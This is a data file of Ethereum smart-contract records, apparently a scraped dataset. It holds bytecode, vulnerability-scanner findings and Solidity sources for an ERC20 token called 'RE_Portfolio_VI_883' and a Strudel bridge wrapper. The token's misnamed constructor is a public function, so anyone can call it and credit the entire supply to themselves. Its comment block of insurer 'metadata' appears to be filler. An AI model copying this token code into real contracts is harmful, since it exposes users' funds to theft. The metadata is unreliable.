0191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,467 |
0x79b2e88c3b536a0b18ad0fc9c9543e791b16a5c5
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_VI_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_VI_883 " ;
string public symbol = " RE883VI " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1518671758713550000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VI_metadata_line_1_____AXIS_Specialty_Limited_Ap_Ap_20250515 >
// < 93UIUUPx6sXIljgB6wKnK41815M98i3HjW955tOfBN13X835395AxFju9OaFz4Wm >
// < 1E-018 limites [ 1E-018 ; 58476194,9549572 ] >
// < 0x000000000000000000000000000000000000000000000000000000015C8B999B >
// < RE_Portfolio_VI_metadata_line_2_____Bahrain_National_Insurance_Company_Bpp_20250515 >
// < A0Ftit5FRsZMdG0Q4y3UN38RyhZ2HDeZOi890747WXB7yZfAiXlJJC42fHA5uzsh >
// < 1E-018 limites [ 58476194,9549572 ; 106810047,899488 ] >
// < 0x000000000000000000000000000000000000000000000015C8B999B27CA334E9 >
// < RE_Portfolio_VI_metadata_line_3_____Bahrain_National_Insurance_Company_Bpp_20250515 >
// < D8X5DEcV2ljt38zeueMRvfbRJkMnpl21bAq94223EwQ7ufn95UU1j7OCbzM82ru1 >
// < 1E-018 limites [ 106810047,899488 ; 161992546,978692 ] >
// < 0x000000000000000000000000000000000000000000000027CA334E93C58D049D >
// < RE_Portfolio_VI_metadata_line_4_____Barbados_BBp_Ocean_International_Reinsurance_Company_Limited_Am_20250515 >
// < bkT29z0k6X3wjlNaOCO3iG3FTMq6622sR3KCZHmp2rHpyZ271qJD36KZGLBSG5b8 >
// < 1E-018 limites [ 161992546,978692 ; 240256011,960736 ] >
// < 0x00000000000000000000000000000000000000000000003C58D049D5980996A0 >
// < RE_Portfolio_VI_metadata_line_5_____Barbican_Managing_Agency_Limited_20250515 >
// < UXKa8g8Vp56OERa4zq5fj1DmkrwMsojS14171Cup5y3G298nuNiO2W0GYyDdqnXm >
// < 1E-018 limites [ 240256011,960736 ; 260014161,993263 ] >
// < 0x00000000000000000000000000000000000000000000005980996A060DCE21FB >
// < RE_Portfolio_VI_metadata_line_6_____Barbican_Managing_Agency_Limited_20250515 >
// < 0Wzzd3oBi3a78e4qxPUn2VXvL7t98C0vj6OP3jYBY7ZPqNMc78ogVT1misV1OXIZ >
// < 1E-018 limites [ 260014161,993263 ; 271442165,890077 ] >
// < 0x000000000000000000000000000000000000000000000060DCE21FB651EBE201 >
// < RE_Portfolio_VI_metadata_line_7_____Barbican_Managing_Agency_Limited_20250515 >
// < 4cImKXx249139eAAiyULf5YofF9heUeZMVVSosX3UE2H3uHX863G54xdhtZ0UJZ0 >
// < 1E-018 limites [ 271442165,890077 ; 282379409,648774 ] >
// < 0x0000000000000000000000000000000000000000000000651EBE2016931CCAD8 >
// < RE_Portfolio_VI_metadata_line_8_____Barbican_Managing_Agency_Limited_20250515 >
// < KHQj1D1JdVUgG9xfjUj8zBlPm31WjLw71nf4adoVhTBj8jjSClSEXRWnJamw3ka0 >
// < 1E-018 limites [ 282379409,648774 ; 329416072,370832 ] >
// < 0x00000000000000000000000000000000000000000000006931CCAD87AB790B39 >
// < RE_Portfolio_VI_metadata_line_9_____Barbican_Managing_Agency_Limited_20250515 >
// < aoNb2kvhm2hf4nu4L9W2Qf7D72atkN9D3j25bW5zNUI8cdm5wKjfFjI1m6CABgj1 >
// < 1E-018 limites [ 329416072,370832 ; 342667547,849822 ] >
// < 0x00000000000000000000000000000000000000000000007AB790B397FA7530D4 >
// < RE_Portfolio_VI_metadata_line_10_____Barbican_Managing_Agency_Limited_20250515 >
// < 66006KP3THB17gQe10yx9hKeLBJ5H8o33k1gnuw98dLc69SK8g3dnQjy1T1qP2AW >
// < 1E-018 limites [ 342667547,849822 ; 369687045,578735 ] >
// < 0x00000000000000000000000000000000000000000000007FA7530D489B81AC21 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VI_metadata_line_11_____Barbican_Managing_Agency_Limited_20250515 >
// < fgnIPwESd3JvFfQwGfPT4MO3Bi8cSusebELTFXLh8ie4g6p1wUQMyPnngO278821 >
// < 1E-018 limites [ 369687045,578735 ; 421910988,385822 ] >
// < 0x000000000000000000000000000000000000000000000089B81AC219D2C915CA >
// < RE_Portfolio_VI_metadata_line_12_____Barbican_Managing_Agency_Limited_20250515 >
// < 1tV2vmNG34w4J76ua504Vq98iy4qbR4DUzB1OcAZIA6IHK9lDiL3Jj1jG7CI3AK2 >
// < 1E-018 limites [ 421910988,385822 ; 452326717,02779 ] >
// < 0x00000000000000000000000000000000000000000000009D2C915CAA8813CDCA >
// < RE_Portfolio_VI_metadata_line_13_____Barbican_Managing_Agency_Limited_20250515 >
// < IYrztLqBVwlA4R73aAlK2Wbv16YcOZV6mf0aT148g14nxvb0YPU0ebr9zLB2og49 >
// < 1E-018 limites [ 452326717,02779 ; 476891498,519504 ] >
// < 0x0000000000000000000000000000000000000000000000A8813CDCAB1A7EAF8F >
// < RE_Portfolio_VI_metadata_line_14_____Barbican_Managing_Agency_Limited_20250515 >
// < vwtH8E72Nicex9G7tkijWUG4E4ui3QNceow5PU84O26232Yogqa420652J37kGkq >
// < 1E-018 limites [ 476891498,519504 ; 529298156,81933 ] >
// < 0x0000000000000000000000000000000000000000000000B1A7EAF8FC52DCE675 >
// < RE_Portfolio_VI_metadata_line_15_____Barbican_Managing_Agency_Limited_20250515 >
// < S5c2teDwzwGKBX4QTNY2R4U8ZfX49A9585Y395814b05EeKF1moWo0wxHDkT7pp1 >
// < 1E-018 limites [ 529298156,81933 ; 586861651,584666 ] >
// < 0x0000000000000000000000000000000000000000000000C52DCE675DA9F7D29A >
// < RE_Portfolio_VI_metadata_line_16_____Barbican_Managing_Agency_Limited_20250515 >
// < Ws9TRPf9KUt25Y0Sc9Vade5lVuY229bZHCo7eN8r1sq1WJV5wRN9lsQrv5Oo2cCC >
// < 1E-018 limites [ 586861651,584666 ; 647953651,818747 ] >
// < 0x0000000000000000000000000000000000000000000000DA9F7D29AF161AD131 >
// < RE_Portfolio_VI_metadata_line_17_____BB_Arab_Orient_Insurance_Company__gig_Jordan__Bpp_20250515 >
// < ZA6zLJgkFx4V0E7LLo81AnIZQXm66304FAtJe4C2W043hJ8aI2s71PiPl58uSu0A >
// < 1E-018 limites [ 647953651,818747 ; 722676815,135166 ] >
// < 0x000000000000000000000000000000000000000000000F161AD13110D37D50DD >
// < RE_Portfolio_VI_metadata_line_18_____Beaufort_Underwriting_Agency_Limited_20250515 >
// < l47nOwhRnbj1GMXx7003Huj0fu1Zj5B86KW8qwq6mmLF8b68C3I4LJqQ25aiAl2r >
// < 1E-018 limites [ 722676815,135166 ; 737785773,924694 ] >
// < 0x0000000000000000000000000000000000000000000010D37D50DD112D8BC1E4 >
// < RE_Portfolio_VI_metadata_line_19_____Beaufort_Underwriting_Agency_Limited_20250515 >
// < 49b1Z8f3ImhwBJ57Mprz4B05XP56q8Hsiz35fivnFrTKe22ijuG44f229Rbs4WIE >
// < 1E-018 limites [ 737785773,924694 ; 816289199,481009 ] >
// < 0x00000000000000000000000000000000000000000000112D8BC1E41301767A80 >
// < RE_Portfolio_VI_metadata_line_20_____Beaufort_Underwriting_Agency_Limited_20250515 >
// < r39fOmBVMZvFoaO0C9E0208F8b00dsoGty1pVkG8ouCNtE9UFB53AhRTi144B7h8 >
// < 1E-018 limites [ 816289199,481009 ; 867562577,72788 ] >
// < 0x000000000000000000000000000000000000000000001301767A8014331371E0 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VI_metadata_line_21_____Beaufort_Underwriting_Agency_Limited_20250515 >
// < k7IPE6AH92H6Z0W0f7fXk5rsgSB239q9bV8a735rKRHOA2V0h1xlt7dj6ckml60a >
// < 1E-018 limites [ 867562577,72788 ; 913190317,096599 ] >
// < 0x0000000000000000000000000000000000000000000014331371E0154309D991 >
// < RE_Portfolio_VI_metadata_line_22_____Beaufort_Underwriting_Agency_Limited_20250515 >
// < 2t6bqH2y3paeS5aBRrY79DTgEe4w05lsz2EBM9n9T8g4k7Ek83a32ICD2ydv93sx >
// < 1E-018 limites [ 913190317,096599 ; 961785546,146919 ] >
// < 0x00000000000000000000000000000000000000000000154309D9911664B048EA >
// < RE_Portfolio_VI_metadata_line_23_____Beazley_Furlonge_Limited_20250515 >
// < X465Ox66wLf09Z96I4mU07x2Jm586MKI3S67P493qQ6UDV26GScs2O1ycVbbJDS3 >
// < 1E-018 limites [ 961785546,146919 ; 973625504,348361 ] >
// < 0x000000000000000000000000000000000000000000001664B048EA16AB42A096 >
// < RE_Portfolio_VI_metadata_line_24_____Beazley_Furlonge_Limited_20250515 >
// < d42x39rMK8rSxxZ3J1y9yTK9GP7ge63jQq3DO058E2Xv6C37lZru8xA1t932OAe3 >
// < 1E-018 limites [ 973625504,348361 ; 987132117,658167 ] >
// < 0x0000000000000000000000000000000000000000000016AB42A09616FBC41569 >
// < RE_Portfolio_VI_metadata_line_25_____Beazley_Furlonge_Limited_20250515 >
// < 6gvuH8915D5F1xv0GS8go2zBsRf0L3gB8JgK5eflN3jbnAc17w9zemjhL361n0h9 >
// < 1E-018 limites [ 987132117,658167 ; 1049031449,41095 ] >
// < 0x0000000000000000000000000000000000000000000016FBC41569186CB6F7E1 >
// < RE_Portfolio_VI_metadata_line_26_____Beazley_Furlonge_Limited_20250515 >
// < 91HE6eya3NSnHAK6Wb41E8HWIy1jqcTr61XT10y5gj93F41kJs0z0v4v1S96h36u >
// < 1E-018 limites [ 1049031449,41095 ; 1061078629,80403 ] >
// < 0x00000000000000000000000000000000000000000000186CB6F7E118B48581B8 >
// < RE_Portfolio_VI_metadata_line_27_____Beazley_Furlonge_Limited_20250515 >
// < PY74vbjUfO02hw9GS5K7Ghgpv6j3ocsX3k9pn2Am4I696hX48aZoVb3wo76CGUOI >
// < 1E-018 limites [ 1061078629,80403 ; 1127323020,54141 ] >
// < 0x0000000000000000000000000000000000000000000018B48581B81A3F5E6CDA >
// < RE_Portfolio_VI_metadata_line_28_____Beazley_Furlonge_Limited_20250515 >
// < dgveAm8a50n2EUBZd91XOFt4nZRRytvbhF907w4kNmvl9g55iikDIqhfvl86tahv >
// < 1E-018 limites [ 1127323020,54141 ; 1144498730,42965 ] >
// < 0x000000000000000000000000000000000000000000001A3F5E6CDA1AA5BE7A86 >
// < RE_Portfolio_VI_metadata_line_29_____Beazley_Furlonge_Limited_20250515 >
// < 549v09673D169bHdGlM7qe5dfYnKNBY7CUQxUOBhnp49FAJ0Du0VB6aD0PV4P0X1 >
// < 1E-018 limites [ 1144498730,42965 ; 1162248478,27049 ] >
// < 0x000000000000000000000000000000000000000000001AA5BE7A861B0F8A71C7 >
// < RE_Portfolio_VI_metadata_line_30_____Beazley_Furlonge_Limited_20250515 >
// < l7PYT0xen3e55O8n22lJ8s2k993y5GSVORtaUlOG99VIHA9b3f38tkK84e1WbJIK >
// < 1E-018 limites [ 1162248478,27049 ; 1211123828,41166 ] >
// < 0x000000000000000000000000000000000000000000001B0F8A71C71C32DC4F6D >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VI_metadata_line_31_____Beazley_Furlonge_Limited_20250515 >
// < pfYnBXTSyHOOH8bd6DrqZFga5x8yoUnEs9O320Y3ELm7REu7g8m9S80tpn8W7S4f >
// < 1E-018 limites [ 1211123828,41166 ; 1229969630,17424 ] >
// < 0x000000000000000000000000000000000000000000001C32DC4F6D1CA330B8BD >
// < RE_Portfolio_VI_metadata_line_32_____Beazley_Furlonge_Limited_20250515 >
// < CQb7u29014hI4j31iuIIKC10cPqnmYiG8QX5Btjv58x1QpY67Ctnfw28qrlksh7V >
// < 1E-018 limites [ 1229969630,17424 ; 1254347214,90725 ] >
// < 0x000000000000000000000000000000000000000000001CA330B8BD1D347DF6C6 >
// < RE_Portfolio_VI_metadata_line_33_____Beazley_Furlonge_Limited_20250515 >
// < e4t3LnjaXFA1NFc9p4fCS69fp6nM551pBG2086AGe8On29brno2ZxXvw5g06HzXJ >
// < 1E-018 limites [ 1254347214,90725 ; 1319205031,23991 ] >
// < 0x000000000000000000000000000000000000000000001D347DF6C61EB7132347 >
// < RE_Portfolio_VI_metadata_line_34_____Beazley_Furlonge_Limited_20250515 >
// < B67U0gq8S8T3kKQ2U1Iv72WTN2wVFo9BVxiO33rS495L4gWr263LSLnwDCY6Y962 >
// < 1E-018 limites [ 1319205031,23991 ; 1353643044,52268 ] >
// < 0x000000000000000000000000000000000000000000001EB71323471F84576038 >
// < RE_Portfolio_VI_metadata_line_35_____Beazley_Furlonge_Limited_20250515 >
// < bUDby43CVmoa3m46w15ky76r6V59F1eC26Rgk5Uy697tyFO06Ne4A7ey92aX2O32 >
// < 1E-018 limites [ 1353643044,52268 ; 1369547932,88141 ] >
// < 0x000000000000000000000000000000000000000000001F845760381FE3244F3C >
// < RE_Portfolio_VI_metadata_line_36_____Beazley_Furlonge_Limited_20250515 >
// < g8X540lhZmq5b54n9ZTZjh1O2xAvwceKPLJFUibe9EBCa654OomIO7zGuOCfgZPb >
// < 1E-018 limites [ 1369547932,88141 ; ] >
// < 0x000000000000000000000000000000000000000000001FE3244F3C212273C6CF >
// < RE_Portfolio_VI_metadata_line_37_____Belgium_AA_Aviabel_Cie_Belge_d_Assurances_Aviation_SA_Am_20250515 >
// < XDqH1E8711jF47Ip2R4G020242t9l4YQ4Kc335Nc347lVXSPtZi585QbqN14PB2A >
// < 1E-018 limites [ 1423119331,47459 ; 1439452408,3517 ] >
// < 0x00000000000000000000000000000000000000000000212273C6CF2183CE12F7 >
// < RE_Portfolio_VI_metadata_line_38_____Belgium_AA_Aviabel_Cie_Belge_d_Assurances_Aviation_SA_Am_20250515 >
// < FkPclwS6IU2NEoj9o4Sci3ziI4123s06165lZ5L93Y541C736ek86TZ6uR58B8Gi >
// < 1E-018 limites [ 1439452408,3517 ; 1467333157,99716 ] >
// < 0x000000000000000000000000000000000000000000002183CE12F72229FCB8CB >
// < RE_Portfolio_VI_metadata_line_39_____Berkley_Regional_Insurance_Co_Ap_Ap_20250515 >
// < XTMveZ91O2SpwQEbgZ7pr4ru8capXo3TEkFS0DxeOV58DNO1d289NUV1YBTMp194 >
// < 1E-018 limites [ 1467333157,99716 ; 1487515326,21528 ] >
// < 0x000000000000000000000000000000000000000000002229FCB8CB22A2484441 >
// < RE_Portfolio_VI_metadata_line_40_____Berkshire_Hathaway_Incorporated_20250515 >
// < 5IgmT65b0y8d8W6XAv68qMoDGMch92ypHef0X2PPnrDrzAi6j1Ur8iO86p2scwY1 >
// < 1E-018 limites [ 1487515326,21528 ; 1518671758,71355 ] >
// < 0x0000000000000000000000000000000000000000000022A2484441235BFD35B3 >
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a7230582025852175568e1e04eef5cc89745045335577c747b688e791e66bf221855226c50029
|
{"success": true, "error": null, "results": {}}
| 2,468 |
0x95fd4d223446bd81a37957ca34fc69a3b140b378
|
// SPDX-License-Identifier: MPL-2.0
pragma solidity 0.6.6;
interface ITokenRecipient {
/// Typically called from a token contract's `approveAndCall` method, this
/// method will receive the original owner of the token (`_from`), the
/// transferred `_value` (in the case of an ERC721, the token id), the token
/// address (`_token`), and a blob of `_extraData` that is informally
/// specified by the implementor of this method as a way to communicate
/// additional parameters.
///
/// Token calls to `receiveApproval` should revert if `receiveApproval`
/// reverts, and reverts should remove the approval.
///
/// @param _from The original owner of the token approved for transfer.
/// @param _value For an ERC20, the amount approved for transfer; for an
/// ERC721, the id of the token approved for transfer.
/// @param _token The address of the contract for the token whose transfer
/// was approved.
/// @param _extraData An additional data blob forwarded unmodified through
/// `approveAndCall`, used to allow the token owner to pass
/// additional parameters and data to this method. The structure of
/// the extra data is informally specified by the implementor of
/// this interface.
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes calldata _extraData
) external;
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
contract MinterRole is ContextUpgradeSafe, OwnableUpgradeSafe {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyOwner {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IStrudel {
function mint(address account, uint256 amount) external returns (bool);
function burnFrom(address _account, uint256 _amount) external;
function renounceMinter() external;
}
/// @title Strudel Token.
/// @notice This is the Strudel ERC20 contract.
contract StrudelWrapper is ITokenRecipient, MinterRole {
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
address public strdlAddr;
constructor(address _strdlAddr) public {
__Ownable_init();
strdlAddr = _strdlAddr;
}
function mint(address to, uint256 amount) external onlyMinter returns (bool) {
IStrudel(strdlAddr).mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyMinter returns (bool) {
require(from != address(0), "StrudelWrapper: address(0x0)");
IStrudel(strdlAddr).burnFrom(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyMinter returns (bool) {
IStrudel(strdlAddr).mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(bindaddr != address(0), "StrudelWrapper: address(0x0)");
IStrudel(strdlAddr).burnFrom(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
function getAddr(bytes memory _extraData) internal pure returns (address){
address addr;
assembly {
addr := mload(add(_extraData,20))
}
return addr;
}
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes calldata _extraData
) external override {
require(msg.sender == strdlAddr, "StrudelWrapper: onlyAuth");
require(_token == strdlAddr, "StrudelWrapper: onlyAuth");
address bindaddr = getAddr(_extraData);
require(bindaddr != address(0), "StrudelWrapper: address(0x0)");
IStrudel(strdlAddr).burnFrom(_from, _value);
emit LogSwapout(_from, bindaddr, _value);
}
}
|
